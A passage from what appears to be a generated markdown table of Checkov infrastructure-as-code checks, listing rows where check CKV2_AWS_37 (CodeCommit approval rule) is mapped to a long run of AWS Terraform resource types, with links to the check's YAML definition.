resource | aws_iot_thing_type                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1344 | CKV2_AWS_37     | resource | aws_iot_topic_rule                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1345 | CKV2_AWS_37     | resource | aws_iot_topic_rule_destination                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1346 | CKV2_AWS_37     | resource | aws_ivs_channel                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1347 | CKV2_AWS_37     | resource | aws_ivs_playback_key_pair                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1348 | CKV2_AWS_37     | resource | aws_ivs_recording_configuration                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1349 | CKV2_AWS_37     | resource | aws_ivschat_logging_configuration                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1350 | CKV2_AWS_37     | resource | aws_ivschat_room                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1351 | CKV2_AWS_37     | resource | aws_kendra_data_source                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1352 | CKV2_AWS_37     | resource | aws_kendra_experience                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1353 | CKV2_AWS_37     | resource | aws_kendra_faq                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1354 | CKV2_AWS_37     | resource | aws_kendra_index                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1355 | CKV2_AWS_37     | resource | aws_kendra_query_suggestions_block_list                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1356 | CKV2_AWS_37     | resource | aws_kendra_thesaurus                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1357 | CKV2_AWS_37     | resource | aws_key_pair                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1358 | CKV2_AWS_37     | resource | aws_keyspaces_keyspace                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1359 | CKV2_AWS_37     | resource | aws_keyspaces_table                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1360 | CKV2_AWS_37     | resource | aws_kinesis_analytics_application                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1361 | CKV2_AWS_37     | resource | aws_kinesis_firehose_delivery_stream                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1362 | CKV2_AWS_37     | resource | aws_kinesis_resource_policy                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1363 | CKV2_AWS_37     | resource | aws_kinesis_stream                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1364 | CKV2_AWS_37     | resource | aws_kinesis_stream_consumer                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1365 | CKV2_AWS_37     | resource | aws_kinesis_video_stream                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1366 | CKV2_AWS_37     | resource | aws_kinesisanalyticsv2_application                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1367 | CKV2_AWS_37     | resource | aws_kinesisanalyticsv2_application_snapshot                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1368 | CKV2_AWS_37     | resource | aws_kms_alias                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1369 | CKV2_AWS_37     | resource | aws_kms_ciphertext                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1370 | CKV2_AWS_37     | resource | aws_kms_custom_key_store                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1371 | CKV2_AWS_37     | resource | aws_kms_external_key                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1372 | CKV2_AWS_37     | resource | aws_kms_grant                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1373 | CKV2_AWS_37     | resource | aws_kms_key                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1374 | CKV2_AWS_37     | resource | aws_kms_key_policy                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1375 | CKV2_AWS_37     | resource | aws_kms_replica_external_key                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1376 | CKV2_AWS_37     | resource | aws_kms_replica_key                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1377 | CKV2_AWS_37     | resource | aws_lakeformation_data_cells_filter                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1378 | CKV2_AWS_37     | resource | aws_lakeformation_data_lake_settings                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1379 | CKV2_AWS_37     | resource | aws_lakeformation_lf_tag                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1380 | CKV2_AWS_37     | resource | aws_lakeformation_permissions                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1381 | CKV2_AWS_37     | resource | aws_lakeformation_resource                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1382 | CKV2_AWS_37     | resource | aws_lakeformation_resource_lf_tag                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1383 | CKV2_AWS_37     | resource | aws_lakeformation_resource_lf_tags                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1384 | CKV2_AWS_37     | resource | aws_lambda_alias                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1385 | CKV2_AWS_37     | resource | aws_lambda_code_signing_config                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1386 | CKV2_AWS_37     | resource | aws_lambda_event_source_mapping                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1387 | CKV2_AWS_37     | resource | aws_lambda_function                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1388 | CKV2_AWS_37     | resource | aws_lambda_function_event_invoke_config                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1389 | CKV2_AWS_37     | resource | aws_lambda_function_recursion_config                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1390 | CKV2_AWS_37     | resource | aws_lambda_function_url                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1391 | CKV2_AWS_37     | resource | aws_lambda_invocation                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1392 | CKV2_AWS_37     | resource | aws_lambda_layer_version                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1393 | CKV2_AWS_37     | resource | aws_lambda_layer_version_permission                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1394 | CKV2_AWS_37     | resource | aws_lambda_permission                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1395 | CKV2_AWS_37     | resource | aws_lambda_provisioned_concurrency_config                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1396 | CKV2_AWS_37     | resource | aws_lambda_runtime_management_config                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1397 | CKV2_AWS_37     | resource | aws_launch_configuration                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1398 | CKV2_AWS_37     | resource | aws_launch_template                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1399 | CKV2_AWS_37     | resource | aws_lb                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1400 | CKV2_AWS_37     | resource | aws_lb_cookie_stickiness_policy                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1401 | CKV2_AWS_37     | resource | aws_lb_listener                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1402 | CKV2_AWS_37     | resource | aws_lb_listener_certificate                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1403 | CKV2_AWS_37     | resource | aws_lb_listener_rule                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1404 | CKV2_AWS_37     | resource | aws_lb_ssl_negotiation_policy                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1405 | CKV2_AWS_37     | resource | aws_lb_target_group                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1406 | CKV2_AWS_37     | resource | aws_lb_target_group_attachment                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1407 | CKV2_AWS_37     | resource | aws_lb_trust_store                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1408 | CKV2_AWS_37     | resource | aws_lb_trust_store_revocation                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1409 | CKV2_AWS_37     | resource | aws_lex_bot                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1410 | CKV2_AWS_37     | resource | aws_lex_bot_alias                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1411 | CKV2_AWS_37     | resource | aws_lex_intent                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1412 | CKV2_AWS_37     | resource | aws_lex_slot_type                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1413 | CKV2_AWS_37     | resource | aws_lexv2models_bot                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1414 | CKV2_AWS_37     | resource | aws_lexv2models_bot_locale                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1415 | CKV2_AWS_37     | resource | aws_lexv2models_bot_version                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1416 | CKV2_AWS_37     | resource | aws_lexv2models_intent                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1417 | CKV2_AWS_37     | resource | aws_lexv2models_slot                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1418 | CKV2_AWS_37     | resource | aws_lexv2models_slot_type                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1419 | CKV2_AWS_37     | resource | aws_licensemanager_association                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1420 | CKV2_AWS_37     | resource | aws_licensemanager_grant                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1421 | CKV2_AWS_37     | resource | aws_licensemanager_grant_accepter                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1422 | CKV2_AWS_37     | resource | aws_licensemanager_license_configuration                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1423 | CKV2_AWS_37     | resource | aws_lightsail_bucket                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1424 | CKV2_AWS_37     | resource | aws_lightsail_bucket_access_key                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1425 | CKV2_AWS_37     | resource | aws_lightsail_bucket_resource_access                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1426 | CKV2_AWS_37     | resource | aws_lightsail_certificate                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1427 | CKV2_AWS_37     | resource | aws_lightsail_container_service                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1428 | CKV2_AWS_37     | resource | aws_lightsail_container_service_deployment_version               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1429 | CKV2_AWS_37     | resource | aws_lightsail_database                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1430 | CKV2_AWS_37     | resource | aws_lightsail_disk                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1431 | CKV2_AWS_37     | resource | aws_lightsail_disk_attachment                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1432 | CKV2_AWS_37     | resource | aws_lightsail_distribution                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1433 | CKV2_AWS_37     | resource | aws_lightsail_domain                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1434 | CKV2_AWS_37     | resource | aws_lightsail_domain_entry                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1435 | CKV2_AWS_37     | resource | aws_lightsail_instance                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1436 | CKV2_AWS_37     | resource | aws_lightsail_instance_public_ports                              | Ensure CodeCommit associates an approval rule                                                                                       